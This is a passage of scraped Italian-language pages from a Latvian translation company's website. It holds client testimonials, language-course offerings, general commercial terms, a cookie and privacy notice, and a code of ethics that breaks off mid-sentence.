approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Imparate le lingue in modo rapido ed efficacie presso il Centro di formazione Skrivanek. Insegnanti locali e stranieri altamente qualificati. Per saperne di più! - Published: 2023-12-19 - Modified: 2024-02-26 - URL: https://skrivanek.lv/pakalpojumi/valodu-kursi/ - Translation Priorities: Optional PER LE AZIENDE Forniamo corsi di formazione linguistica per aziende lettoni e per società internazionali, nonché per enti governativi e municipali. I vostri dipendenti potranno beneficiare di corsi di lingua di diversi livelli e intensità. La nostra grande esperienza, unita al grande numero di insegnanti con cui collaboriamo, ci permette di occuparci di qualsiasi progetto di formazione linguistica, indipendentemente dalle sue dimensioni e complessità. Contattateci! PER I PRIVATI Raggiungete i vostri obiettivi con i nostri corsi di lingua! Imparate le lingue straniere in modo rapido ed efficace partecipando ai nostri corsi di gruppo, oppure prenotando lezioni private, anche a distanza. Frequentando le nostre coinvolgenti lezioni di lingua, potete sviluppare nuove competenze divertendovi! Contattateci! PER I BAMBINI Un modo fantastico in cui ragazzi e bambini possono passare le vacanze scolastiche in tutte le stagioni è sicuramente partecipare ai campi studio organizzati dalla nostra scuola di lingue. Qui potranno praticare una lingua straniera e conoscere nuovi amici. I programmi sono regolamentati e adattati all’età dei partecipanti. Contattateci! DOMANDE FREQUENTI Sì, presso la scuola di lingue di Skrivanek è possibile imparare più di 25 lingue frequentando lezioni sia di gruppo che individuali. Offriamo anche diverse opzioni per ragazzi e bambini. Le aziende nostre clienti optano spesso per lezioni individuali, data la loro maggiore efficienza. FOCUS è uno strumento online di verifica delle competenze linguistiche che permette di testare le competenze linguistiche dei candidati per un posto di lavoro in maniera efficace ed accurata. Il test è composto da una parte scritta dove viene testata la competenza grammaticale, lessicale e di comprensione del testo del candidato. In seguito, verranno anche testate le capacità di produzione orale e scritta, così da fornire una valutazione finale completa ed accurata. Lo strumento FOCUS è indispensabile se volete assumere qualcuno! EFFECTO è un metodo di apprendimento delle lingue brevettato e sviluppato per le scuole di lingua Skrivanek di tutto il mondo. Esso spicca per la sua elevata efficacia. OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO --- > Skrivanek è un fornitore di servizi linguistici con oltre 25 anni di esperienza: servizi linguistici professionali per aziende e privati. - Published: 2023-12-19 - Modified: 2024-01-12 - URL: https://skrivanek.lv/komercnoteikumi/ - Translation Priorities: Optional 1. PRINCIPALI TERMINI E CONDIZIONI 1. 1. Le presenti condizioni commerciali generali sono determinate da Skrivanek Baltic SRL, numero di registrazione: 40003626172, sede legale: Lāčplēša iela 87C, Riga, LV-1011, da qui in poi “Fornitore”, e il suo cliente, da qui in poi “Cliente”, ma insieme, “le Parti”. 1. 2. L'oggetto delle Condizioni commerciali generali è la fornitura di servizi, da qui in poi “Ordini”, che costituiscono le forme di attività di Skrivanek Baltic SRL, in particolare servizi di traduzione e di interpretazione, in conformità con le presenti condizioni commerciali generali, le quali sono stabilite nell'Ordine. 1. 3. Il rapporto contrattuale tra il Cliente e il Fornitore deve essere stabilito mediante la redazione di un Ordine scritto, anche via e-mail, dove le Parti si accordano sulla scadenza, sull’ordine e sulle condizioni di pagamento dell’Ordine. 2. SERVIZI DI TRADUZIONE 2. 1. Il Fornitore, in conformità con il paragrafo 1, accetta l’Ordine, lo esegue nella lingua e nei termini concordati, e lo consegna al Cliente nelle modalità concordate. 2. 2. Il Cliente si impegna ad accettare in modo opportuno l’Ordine e a pagare il Fornitore il prezzo concordato. 2. 3. Il Cliente si impegna ad accettare l'Ordine nei tempi e nelle modalità concordati. 2. 4. Il Cliente o un suo rappresentante autorizzato è tenuto ad accettare l’Ordine in via telefonica o per iscritto (anche per email), specificando che esso è stato accettato in modo puntuale. Se il Cliente non adempie a tale obbligo e non invia un sollecito circa l’ordine entro le 24 ore successive alla scadenza di consegna dell’Ordine in via telefonica o per iscritto (anche per email), il Fornitore può considerare l’Ordine come ricevuto in tempo dal Cliente e di non avere avuto alcuna obiezione riguardo la scadenza o gli accordi. 2. 5. La scadenza per l’adempimento dell’Ordine è considerata comunque rispettata nel caso in cui il Fornitore ripeta, su sollecito del Cliente, la spedizione dell’Ordine potendo comunque provare di averlo inviato secondo le tempistiche e modalità specificate nell’Ordine. 2. 6. Se il Fornitore non rispetta la scadenza dell’Ordine senza fornire un motivo valido, il Cliente ha il diritto di richiedere una penale pari al 0,1% del prezzo dell’ordine per ogni giorno di ritardo, ma comunque non più del 10% dello stesso. 2. 7. Se, per provate motivazioni, non è possibile inviare l’Ordine al Cliente secondo le modalità prestabilite, il Fornitore può scegliere altre modalità, le cui spese saranno coperte dal Cliente previa notifica. 2. 8. Se il Cliente non presenta reclamo nei termini specificati e non fornisce una ragione valida per ciò, ma si rifiuta comunque di accettare l’Ordine debitamente evaso, l’ordine è considerato evaso e il Fornitore ha il diritto di emettere una fattura che il Cliente è obbligato a pagare. 3. SERVIZI DI INTERPRETAZIONE 3. 1. Il Fornitore, in conformità con il paragrafo 1, accetta ed evade l’Ordine (servizio di interpretazione) nella lingua e nei termini concordati. 3. 2. Il Cliente si impegna ad accettare in modo opportuno l’Ordine e a pagare il Fornitore il prezzo concordato. 3. 3. Il Fornitore deve fornire il servizio di interpretazione mediante un interprete. 3. 4. Il cliente è tenuto ad accettare il servizio di interpretazione nei termini prestabiliti e nella maniera indicata nell’ordine. 3. 5. Se il servizio di interpretazione è stato fornito rispettando i requisiti e la scadenza e il Cliente non ha presentato alcun reclamo a riguardo, il Cliente, o un suo rappresentante autorizzato, è tenuto a confermare per iscritto, successivamente al servizio di interpretazione, che il servizio è stato fornito rispettando la qualità e tempi richiesti. 3. 6. Se il Cliente non presenta reclamo nei termini specificati e non fornisce una ragione valida per ciò, ma si rifiuta comunque di accettare l’Ordine debitamente evaso, l’ordine è considerato evaso e il Fornitore ha il diritto di emettere una fattura che il Cliente è obbligato a pagare. 3. 7. Il Fornitore si impegna a mantenere riservate tutte le informazioni relative al tema del servizio di interpretazione e a conservare tutto il materiale addizionale ricevuto dal Cliente, in particolare le informazioni riservate. 3. 8. Il Cliente non è autorizzato a chiedere all’interprete o agli interpreti di svolgere attività non specificate nell’Ordine, come ad esempio traduzioni, redazione di verbali, ecc. 3. 9. Il Fornitore ha il diritto di richiedere il pagamento di tutte le ore di lavoro concordate dell’interprete o degli interpreti, anche nel caso in cui il Cliente non faccia uso di tutto il tempo richiesto. 3. 10. Il Cliente è tenuto a fornire delle condizioni lavorative adeguate per la tipologia di interpretazione specificata, ivi compresa l’attrezzatura tecnica nel caso in cui non sia stata ordinata dal Fornitore. 3. 11. Il Cliente è tenuto ad organizzare il trasporto dell’interprete dal luogo accordato fino a quello in cui verrà svolto il servizio di interpretazione. 3. 12. Nel caso in cui l’interprete o gli interpreti utilizzino un mezzo trasporto privato, il Cliente dovrà, di comune accordo con il Fornitore, coprire tutte le spese di viaggio dell’interprete o degli interpreti. 3. 13. Il cliente deve fornire l’alloggio al traduttore: una camera singola compresa di servizi. 3. 14. Il Cliente è tenuto a dare all’interprete o agli interpreti una pausa pranzo e pause di riposo di almeno 30 minuti ogni quattro ore di lavoro. 3. 15. Un servizio di interpretazione di durata giornaliera dura otto (8) ore comprese le pause. 3. 16. Il cliente ha il diritto a ricevere un compenso per il tempo perso dall’interprete. 4. DIRITTI E OBBLIGHI DELLE PARTI 4. 1. Se il Committente dispone di un elenco terminologico approvato internamente, è auspicabile che lo metta a disposizione del Fornitore al momento dell'esecuzione dell'Ordine, o che dia al Fornitore qualsiasi altro materiale che lo aiuti a scegliere la terminologia corretta o a selezionare la persona responsabile della fornitura delle consulenze necessarie. 4. 2. Il Cliente deve inviare al Fornitore il materiale (ad esempio protocolli, resoconti, presentazioni o altro materiale) della riunione precedente almeno tre giorni prima del giorno in cui verrà fornito il servizio di interpretazione. Nel caso in cui questa condizione non venga rispettata, potenziali reclami riguardanti l’uso di una terminologia inadeguata durante il servizio di interpretazione non sarà considerata. 4. 3. Il Fornitore non è responsabile delle possibili conseguenze relative alla violazione del copyright del cliente. 4. 4. Il Fornitore si impegna a mantenere riservate tutte le informazioni relative al tema del servizio di interpretazione e a conservare tutto il materiale addizionale ricevuto dal Cliente, in particolare le informazioni riservate. 4. 5. Il Cliente si impegna a non contattare il traduttore o l’interprete del Fornitore senza il consenso di quest’ultimo. Se il Fornitore conferma che il Cliente ha comunicato con il Traduttore o l’Interprete, il Cliente si impegna a non rivelare al traduttore o all’interprete alcuna informazione relativa al contenuto dell’accordo tra il Cliente e il Fornitore. In caso di violazione delle disposizioni della presente clausola, il Cliente deve pagare al Fornitore una multa di 500 euro. 5. RECLAMI 5. 1. L’Ordine del Fornitore è considerato viziato se non evaso in conformità con i termini specificati nell’Ordine. 5. 2. È considerata viziata anche una traduzione che non è stata eseguita rispettando standard qualitativi, stilistici e semantici adeguati. 5. 3. Se l’Ordine non rientra nei casi di cui i Paragrafi 5. 1 e 5. 2, esso è considerato adeguatamente eseguito e conforme alle richieste del cliente. 5. 4. I reclami devono essere presentati per iscritto (anche via email). I reclami devono essere motivati e devono indicare la tipologia dei vizi e, se possibile, anche il loro numero. 5. 5. Se il Fornitore riconosce il reclamo del Cliente come motivato, il Fornitore rieseguirà l’Ordine. In questo caso, il Cliente ha diritto a ricevere uno sconto sul prezzo dell'Ordine. 5. 6. Il Cliente è intitolato a ricevere uno sconto appropriato sull’ordine se il Fornitore riconosce la validità del reclamo del Cliente, il quale non si basa sui vizi menzionati nella sezione 5. 2 o nel caso in cui il Cliente rifiuti le correzioni proposte. 5. 7. L'importo dello sconto viene determinato in base al parere di uno specialista o di comune accordo. 5. 8. Nel caso di una disputa fra le Parti scaturita da un reclamo presentato dal Cliente, il quale menziona i vizi di cui il Paragrafo 5. 2, le Parti si impegnano inizialmente a risolvere tale disputa fuori dal tribunale, affidandosi al parere di uno specialista competente e indipendente. Lo specialista deve essere concordato da entrambe le parti. 5. 9. L'importo dello sconto dipende dal parere dello specialista o dall'accordo tra le due parti. 5. 10. Il Fornitore sarà responsabile di ogni potenziale danno dovuto ai vizi presenti nell’Ordine evaso. Le Parti concordano che l’ammontare del reclamo per danni è limitato e che i danni sono rimborsati fino ad un valore massimo che corrisponde al prezzo dell’Ordine. 5. 11. Nel caso di traduzioni commerciali, ossia nel caso in cui il Cliente sia un commerciante, il Cliente è obbligato a presentare al Fornitore i reclami riguardanti eventuali vizi senza eccessivo ritardo dopo che essi sono stati individuati e comunque non più di 21 giorni dopo la data di ricezione dell’Ordine. 5. 12. Se il Cliente è una persona fisica, ha il diritto di presentare un reclamo in conformità alla legge sulla tutela dei diritti del consumatore. 5. 13. Non sarà tenuto conto di un reclamo presentato in ritardo e sarà considerato come nullo o invalido. 6. PROCEDURA DI PAGAMENTO 6. 1. Il prezzo dell’Ordine si basa sul listino prezzi vigente del Fornitore, nel quale è contenuta la modalità con cui è calcolato il prezzo. 6. 2. Se il costo approssimativo dell’Ordine è calcolato solo sulla base di un numero approssimativo di unità, il calcolo del prezzo avviene aggiungendo l’unità reale (nella lingua di arrivo della traduzione) successivamente all’esecuzione della traduzione. 6. 3. Il Fornitore ha il diritto di emettere una fattura per i servizi forniti subito dopo l’evasione dell’Ordine, sulla base delle condizioni specificate nello stesso. 6. 4. La base di pagamento dell’ordine è una fattura emessa dal Fornitore e pagata dal Cliente alla fine dello specificato periodo di pagamento. 6. 5. Se il Cliente non rispetta la scadenza di pagamento, gli interessi sul pagamento in ritardo sono del 0,01% sull’ammontare dovuto per ogni giorno di ritardo. 6. 6. In caso di ritardi di pagamento previsti dal contratto, l’anticipo in contanti versato dal Cliente viene prima utilizzato in qualità di interesse di mora, ma l'importo restante è utilizzato per saldare l'ammontare del debito in questione. 6. 7. Previo accordo tra le Parti, il Fornitore può emettere al Cliente una fattura di pagamento anticipato pari al 50% del costo complessivo dell’Ordine. Tale fattura deve essere pagata entro la scadenza. 7. PROTEZIONE DEI DATI PERSONALI DELLE PERSONE FISICHE 7. 1. Le Parti si impegnano a rispettare i requisiti di cui alle leggi in materia di protezione dei dati personali, ivi compreso il regolamento del Parlamento e del Consiglio europeo N. 2016/679 relativo alla protezione delle persone fisiche con riguardo al trattamento dei dati personali, nonché alla libera circolazione di tali dati e che abroga la direttiva 95/46/CE (regolamento generale sulla protezione dei dati), vale a dire si impegnano ad assicurare che i dati personali: 7. 1. 1. saranno trattati in modo lecito, equo e trasparente per gli interessati; 7. 1. 2. saranno trattati per il fine dell’esecuzione dell'Ordine e che tale trattamento non entrerà in contrasto con l'Ordine; 7. 1. 3. saranno trattati in modo da garantire la sicurezza dei dati in conformità alle disposizioni normative, ossia la protezione da trattamenti non autorizzati o illeciti e dalla perdita, dalla distruzione o dal danneggiamento accidentali mediante misure tecniche o organizzative adeguate. 7. 2. In qualità di responsabile del trattamento, ogni Parte è responsabile di informare le persone (i soggetti dei dati) circa il trattamento dei loro dati personali. 7. 3. Le Parti si impegnano a non trasferire i dati personali ricevuti a parti terze senza il previo consenso scritto della Parte da cui sono stati ricevuti tali dati personali. Se, in conformità alle disposizioni normative, una Parte è obbligata a divulgare i dati personali ricevuti, essa è tenuta a informare la Parte da cui ha ricevuto i dati personali, a meno che ciò non sia vietato dalla legge. 7. 4. Il Fornitore è tenuto a mantenere riservati i dati ricevuti nel contesto di questo accordo per un lasso di tempo indefinito che comprende il periodo di validità di questo accordo e il periodo successivo ad esso. 7. 5. Il Fornitore deve garantire che i suoi impiegati e/o fiduciari e/o subfornitori soddisfino i requisiti di riservatezza a cui si fa riferimento in questo Paragrafo per un periodo di tempo indefinito, a meno che le leggi e i regolamenti dell’UE o della Repubblica di Lettonia abbiano imposto al Fornitore l’obbligo di divulgare queste informazioni ad autorità statali e/o municipali. 7. 6. Le Parti devono garantire che solo quegli impiegati, fiduciari o subfornitori che sono coinvolti nell’adempimento del presente accordo abbiano accesso ai dati personali ricevuti nel contesto di questo accordo e che lo abbiano solo nella misura necessaria allo svolgimento dei loro doveri nell’adempimento degli obblighi dell’accordo. 7. 7. Il Fornitore deve immediatamente informare non solo l’autorità di vigilanza, ma anche il cliente nei casi in cui sia avvenuta, o si sospetta possa essere avvenuta, una violazione del trattamento dei personali ricevuti nel contesto dell’accordo La notifica deve essere effettuata entro 72 ore dal rilevamento della violazione. 7. 8. Le Parti confermano che il trattamento dei dati personali sarà effettuato nell'Unione europea (UE) e negli Stati membri dello Spazio economico europeo (SEE). 7. 9. Le Parti sono responsabili della fornitura e della messa in atto di misure adeguate per la protezione dei dati personali (compresa la messa in atto di misure tecniche e organizzative, la protezione dei sistemi di elaborazione dei dati personali) in modo da rispettare i requisiti delle leggi e dei regolamenti dell'Unione europea e della Repubblica di Lettonia e da impedire l'accesso non autorizzato ai dati personali. 8. PROCEDURA DI RISOLUZIONE DELLE CONTROVERSIE 8. 1. Le controversie derivanti dall'esecuzione del Contratto o in relazione al presente Accordo dovranno essere risolte dalle Parti entro 60 (sessanta) giorni. L'accordo sulla risoluzione della controversia deve essere redatto per iscritto e firmato da entrambe le Parti. Tale accordo dovrà essere legato al presente Accordo. Nel caso in cui non venga raggiunto un accordo, le controversie dovranno essere risolte in tribunale in conformità con la procedura specificata negli atti normativi della Repubblica di Lettonia. Data: 18/08/2021. --- > Qui troverete le risposte alle seguenti domande: Che cosa sono i cookie? Qual è lo scopo dell'utilizzo dei cookie sul nostro sito web? Come si può modificare l'uso dei cookie? ecc. - Published: 2023-12-19 - Modified: 2024-02-26 - URL: https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/ - Translation Priorities: Optional IL TITOLARE DEL TRATTAMENTO DEI DATI 1. Il sito web https://skrivanek. lv (da qui in poi ‘Sito web’) raccoglie i dati riguardanti chi lo visita, dando quindi la possibilità al suo responsabile di valutare l’utilità del Sito web e come potrebbe essere migliorato. 2. Il titolare del trattamento dei dati che raccoglie i dati dei visitatori del Sito web è Skrivanek Baltic SRL Reg. No: 40003626172 (da qui in poi ‘Titolare del trattamento dei dati’). 3. Indirizzo del Titolare del trattamento dei dati: Lāčplēša iela 87C, Riga, LV-1011, e-mail: birojs@skrivanek. lv, Tel: + 371 67240364. COOKIE 4. Il Titolare del trattamento dei dati migliora sempre il Sito web per migliorarne l’esperienza d’uso. Pertanto, egli ha bisogno di sapere quali informazioni sono importanti per i visitatori del Sito web, con quale frequenza lo visitano, quali dispositivi e browser utilizzano, la loro regione di provenienza e i contenuti che leggono. 5. Il Titolare del trattamento dei dati usa Google Analytics, il quale gli permette di analizzare come i visitatori utilizzano il Sito web. Per saperne di più sul funzionamento di base di Google Analytics, consultare il sito web di Google. Il Titolare del trattamento dei dati usa i dati raccolti per i propri interessi legali, con il fine di conoscere meglio i bisogni dei visitatori del Sito web e di migliorare la disponibilità delle informazioni pubblicate dal Titolare del trattamento dei dati. Le statistiche riguardanti i visitatori del Sito web sono accessibili solo ai dipendenti del Titolare del trattamento dei dati responsabili per la loro analisi. 6. Il server che fa da host al Sito web può registrare le richieste inviate da un visitatore (dispositivo utilizzato, browser, indirizzo IP, data e ora di accesso). I dati a cui si fa riferimento nel presente paragrafo sono utilizzati per scopi tecnici: per assicurare il corretto funzionamento e la sicurezza del Sito web e per analizzare i possibili incidenti di sicurezza. La base per la raccolta dei dati a cui si fa riferimento nel presente paragrafo è l’interesse legale del titolare del trattamento dei dati a garantire la disponibilità tecnica e l’integrità del sito web. 7. I cookie sono dei file dalle dimensioni ridotte che, ogni volta che qualcuno visita il Sito web, il browser conserva nel computer del visitatore nella quantità descritta nelle impostazioni del browser del visitatore. I cookie individuali sono utilizzati per selezionare le informazioni e gli annunci pubblicitari da proporre al visitatore, sulla base del contenuto che il visitatore ha visualizzato nel passato, rendendo quindi l’esperienza di utilizzo del Sito web semplice, adeguata e personalizzata. Per sapere di più sui cookie, su come eliminarli e come gestirli, visitare il sito www. aboutcookies. org. 8. Il Sito web utilizza i cookie per acquisire l’indirizzo IP dell’utente e le informazioni di navigazione e per permettere al Sito web di memorizzare le scelte fatte dal visitatore. I cookie permettono al Titolare del trattamento dei dati di tenere traccia del traffico e delle interazioni dell’utente con il Sito web. Il Titolare del trattamento dei dati usa questi dati per analizzare il comportamento del visitatore e per migliorare il Sito web. La base giuridica per l’uso dei cookie è il legittimo interesse del Titolare del trattamento dei dati nel garantire la funzionalità, la disponibilità e l’integrità del Sito web. TIPI DI COOKIE 9. A seconda della loro durata, i cookie possono essere divisi in due categorie di base: cookie temporanei (vengono salvati sul computer dell’utente fino a che non viene chiuso il browser, poi vengono eliminati) e cookie persistenti (vengono conservati nel computer dell’utente per un periodo di tempo più lungo e ci rimangono a seconda delle impostazioni del browser o delle impostazioni cookie, oppure fino a quando non vengono eliminati manualmente). 10. Sui siti web di Skrivanek Baltic vengono utilizzati i seguenti cookie(https://skrivanek. lv, https://valodumacibas. lv e https://bernunometnes. lv): SITO WEB COOKIE DESCRIZIONE https://skrivanek. lv, https://valodumacibas. lv, https://bernunometnes. lv _fbp Facebook cookie – Archivia informazioni riguardanti chi visita il sito web. Questo tipo di cookie rimane valido per 3 mesi. https://skrivanek. lv, https://valodumacibas. lv _ga Cookie di Google Analytics – Contano e salvano le visite alla pagina web. Questo tipo di cookie è valido per un anno. Utilizzo dei cookie di Google Analytics sui siti web. https://skrivanek. lv, https://valodumacibas. lv _ga_* Cookie di Google Analytics – Contano e salvano le visite alla pagina web. Questo tipo di cookie è valido per un anno. Utilizzo dei cookie di Google Analytics sui siti web. https://skrivanek. lv, https://valodumacibas. lv _gcl_au Google AdSense – Cookie che si occupa di misurare l’efficacia dell’inserzione pubblicitaria. Questo tipo di cookie non scade. https://skrivanek. lv, https://valodumacibas. lv _gid Cookie di Google Analytics – Contano e salvano le visite alla pagina web. Questo tipo di cookie è valido per un giorno. Utilizzo dei cookie di Google Analytics sui siti web. https://skrivanek. lv, https://valodumacibas. lv, https://bernunometnes. lv cookie_notice_accepted Notifica sull’utilizzo dei cookie in conformità al GDPR – Fornisce informazioni riguardanti i cookie utilizzati nel Sito web. Questo tipo di cookie non scade. https://valodumacibas. lv, https://bernunometnes. lv _gat_UA-* Cookie di Google Analytics – Monitora il tasso di richieste. Utilizzo dei cookie di Google Analytics sui siti web. Questo tipo di cookie è valido fino alla fine della sessione. https://bernunometnes. lv _ym_d Yandex Metrica – Salva le informazioni riguardanti la prima visita. Questo tipo di cookie è valido per un anno. https://bernunometnes. lv _ym_isad Yandex Metrica - Determina se un software di blocco delle pubblicità è installato nel browser dell’utente. Questo tipo di cookie è valido per 2 giorni. https://bernunometnes. lv _ym_uid Yandex Metrica – Identifica i visitatori del Sito web. Questo tipo di cookie è valido per un anno. https://bernunometnes. lv _ym_visorc Yandex Metrica – È un identificatore speciale per il browser e permette di tracciare l’attività dell’utente nel Sito web. Questo tipo di cookie è valido fino alla fine della sessione. DISABILITARE L'USO DEI COOKIE 11. L’utente del Sito web ha il diritto a non consentire la creazione, il salvataggio e il trattamento dei dati disabilitando manualmente l’uso dei cookie nel browser in ogni momento. È possibile cambiare le impostazioni cookie o eliminarli tramite le impostazioni del proprio browser. Di seguito potete trovare i link relativi alle informazioni sulla gestione dei cookie per i browser più diffusi: Firefox - https://support. mozilla. org/en-US/kb/cookies-information-websites-store-on-your-computer Chrome – https://support. google. com/chrome/answer/95647? hl=en Safari – https://support. apple. com/lv-lv/guide/safari/sfri11471/mac Opera – https://help. opera. com/en/latest/web-preferences/ Edge – https://support. microsoft. com/en-us/help/4468242/microsoft-edge-browsing-data-and-privacy Explorer – https://support. microsoft. com/en-us/help/278835/how-to-delete-cookie-files-in-internet-explorer Ulteriori informazioni su come controllare i cookie in base al browser del proprio dispositivo sono disponibili all'indirizzo: www. aboutcookies. org. ALTRE DISPOSIZIONI 12. Se non diversamente specificato, i cookie sono conservati per tutta la durata dell’attività per la quale sono stati raccolti. Dopodiché, sono eliminati. 13. Il Titolare del trattamento dei dati conferma che i cookie e le informazioni statistiche saranno raccolte, processate e conservate in conformità con i requisiti degli atti normativi dell’Unione europea, ivi compreso il Regolamento sulla protezione dei dati personali nr. 2016/679 del Parlamento e del Consiglio europeo del 27 aprile 2016. 14. Il Titolare del trattamento dei dati ha il diritto di modificare le presenti Condizioni in ogni momento. Il visitatore del Sito web è tenuto a controllare indipendentemente il contenuto del Sito web, così da venire a conoscenza delle modifiche apportate ai presenti Termini. Informativa sulla privacy SKRIVANEK È UNO SPECIALISTA NELLA PROTEZIONE DEI DATI Uldis Krūmiņš dpo@skrivanek. lv --- > I principi di etica e di condotta professionale del fornitore di servizi linguistici Skrivanek Baltic sono vincolanti anche per i nostri partner di cooperazione. - Published: 2023-12-19 - Modified: 2024-01-12 - URL: https://skrivanek.lv/etikas-kodekss/ - Translation Priorities: Optional La nostra attività si basa sui principi fondamentali di responsabilità, affidabilità e onestà, i quali ci permettono di essere dei datori di lavoro, partner di collaborazione e rappresentanti del nostro settore affidabili. Stabiliamo collaborazioni a lungo termine con impiegati e liberi professionisti (da qui in poi ‘linguisti specializzati’), clienti, fornitori e altri partner con cui abbiamo un rapporto di collaborazione. Miglioriamo e sviluppiamo continuamente i nostri servizi nel campo dell'apprendimento delle lingue e della traduzione, così come in altri campi legati all'acquisizione linguistica e alla redazione di testi. I nostri dipendenti e i nostri linguisti specializzati sono le nostre risorse più importanti ed è per questo che garantiamo un ambiente lavorativo aperto, onesto e rispettoso. Ogni impiegato ed ogni linguista specializzato è responsabile della reputazione dell’azienda, nonché del prestigio del datore di lavoro nella comunità. L’obiettivo del presente codice di condotta è quello di definire in modo chiaro i principi del nostro lavoro e la nostra etica d’impresa, due fattori fondamentali per la nostra attività. Esso è stato scritto con lo scopo di rendere noti ai nostri linguisti specializzati e ai partner con cui collaboriamo i nostri principi operativi. Il presente codice di condotta non comprende ogni singola possibile situazione che potrebbe verificarsi. Per questo confidiamo che i nostri dipendenti e linguisti specializzati, i quali rappresentano gli interessi di Skrivanek Baltic, nel caso in cui si verifichi una situazione che non viene trattata nel presente codice di condotta, agiscano nel rispetto della legge e dei nostri tre principi fondamentali: responsabilità, affidabilità e onestà. Confidiamo anche che essi, nel caso in cui si trovino di fronte a situazioni non chiare, si rivolgano al corpo dirigenziale di Skrivanek Baltic così da ricevere le necessarie consulenze. Il corpo dirigenziale dell’azienda, ogni dipendente e ogni linguista specializzato è tenuto al rispetto del presente codice di condotta in egual misura. I principi del presente codice di condotta sono osservati anche nella nostra attività giornaliera, nella collaborazione con i nostri clienti, con i nostri fornitori e con i nostri partner. Svolgiamo la nostra attività in conformità con la legislazione locale, la quale stabilisce l’onesta pratica commerciale, la legge del lavoro, le modalità di protezione dei dati, gli standard di sicurezza sul lavoro, la legislazione fiscale, come anche altri aspetti della nostra attività. Forniamo informazioni corrette sulla nostra attività finanziaria e siamo contro la corruzione; siamo dell’opinione che tutti i regali e tutti i pagamenti non necessari siano inaccettabili e siamo a favore di una sana concorrenza. Skrivanek Baltic si impegna a fare il possibile per garantire che il corpo dirigenziale dell’azienda, i dipendenti, i linguisti specializzati e i partner rispettino queste regole, standard e principi. Ci comportiamo inoltre nel rispetto delle tradizioni culturali locali e ne abbiamo riguardo, a meno che non siano in conflitto con la legislazione. In questi casi la legislazione viene prima di tutto. I nostri linguisti specializzati lavorano per gli interessi di Skrivanek Baltic. Il nostro lavoro è giudicato in base a quanto il i nostri dipendenti e linguisti specializzati sono responsabili e attenti a fornire un servizio clienti di alta qualità. Incoraggiamo i nostri dipendenti e linguisti specializzati a dire ciò che pensano e a difendere le loro opinioni, specialmente nel caso in cui vengano fatte richieste irragionevoli o azioni inaccettabili da parte di Skrivanek Baltic, dei suoi clienti o dai partner con cui collabora. Dipendenti e linguisti specializzati sono incoraggiati ad esternare i propri sospetti o preoccupazioni a riguardo di possibili comportamenti crudeli, immorali o comunque inaccettabili, riportandoli al corpo dirigenziale di Skrivanek Baltic, il cui compito è quello di esaminarli e, se necessario, indagare ed intraprendere azioni appropriate, indipendentemente da chi possano essere le persone coinvolte. Siamo orgogliosi del nostro ambiente di lavoro. Osserviamo e promuoviamo il rispetto dei diritti umani; operiamo nel rispetto di diverse opinioni, comprese quelle riguardanti la religione, la politica, l’etnia e la parità di genere. Il fatto che i nostri dipendenti siano diversi, che abbiano opinioni e convinzioni differenti, ci aiuta ad essere creativi e a sviluppare l’azienda con successo. Qualsiasi atteggiamento negativo, aggressivo o discriminatorio verso i nostri dipendenti, linguisti specializzati, clienti e verso i partner con cui collaboriamo è inaccettabile. Quando assumiamo dipendenti e linguisti specializzati, osserviamo il principio d’uguaglianza e sviluppiamo e miglioriamo le loro competenze se le loro qualifiche e la qualità del loro lavoro soddisfano i requisiti imposti. Incoraggiamo i nostri dipendenti e linguisti specializzati a mantenere aperto il dialogo quando si tratta di risolvere problemi che richiedono consigli o supporto, come anche li incoraggiamo a suggerirci come migliorare la nostra attività, l’intercomunicazione e la qualità dei nostri servizi. Desideriamo che i nostri clienti si fidino di noi ed è per questo che continuiamo a lavorare per svilupparci e migliorarci, fornendo servizi di qualità e stando sempre al passo con i tempi. Abbiamo una responsabilità verso i nostri clienti e utilizziamo sistemi per il controllo della qualità di cui verifichiamo la funzionalità e che miglioriamo con regolarità per soddisfare i requisiti del settore dei servizi linguistici. Non inganniamo i nostri clienti riguardo i servizi che forniamo e, in caso ci siano problemi, indaghiamo e apportiamo le necessarie correzioni. Nel caso in cui ci sia un conflitto di interessi, i dipendenti e i linguisti specializzati devono informare immediatamente il project manager di riferimento o il corpo dirigenziale di Skrivanek Baltic sulla situazione, la quale potrebbe influire sulla fornitura del servizio. La dirigenza di Skrivanek dà la priorità all’analisi di questi casi e intraprende le necessarie azioni per proteggere gli interessi del cliente e di Skrivanek Baltic. È anche dovere dei linguisti specializzati quello di informare immediatamente il project manager di riferimento nel caso in cui non siano disponibili le necessarie informazioni o strumenti per garantire un servizio puntuale e di alta qualità. Incoraggiamo inoltre i nostri linguisti specializzati a dare liberamente voce alle proprie idee e a proporre i modi in cui potremmo garantire e migliorare la qualità del servizio. La nostra strategia di marketing e di vendita dei servizi si basa sulla fornitura di informazioni che si basano su fatti. Non facciamo uso di linguaggio d’odio o offensivo nei nostri annunci pubblicitari. Abbiamo a cuore i nostri clienti e per questo ogni raccomandazione e recensione positiva sono per noi motivo di grande orgoglio. Garantiamo inoltre il principio della protezione dei dati dei nostri clienti. La sicurezza dei dati e delle informazioni è un problema importante. Skrivanek Baltic gestisce con prudenza e responsabilità le informazioni che le sono affidate dai linguisti specializzati, dai clienti e dagli altri partner con cui collabora e rispetta i requisiti di cui alla legislazione sulla protezione dei dati e delle informazioni. I nostri dipendenti e linguisti specializzati rispettano la riservatezza dei documenti e del materiale dei clienti nel caso in cui essi non siano pubblici. Skrivanek Baltic non conserva le informazioni che non considera necessarie per l’evasione di un ordine. Garantiamo la buona funzionalità del nostro sistema contabile interno e della sicurezza informatica. Insieme possiamo ottenere di più. La nostra collaborazione con i fornitori è parte dello sviluppo a lungo termine della nostra attività. Proprio per questo li selezioniamo con molta cura, tenendo in considerazione la loro reputazione, attività commerciali responsabili e volontà di mantenere la 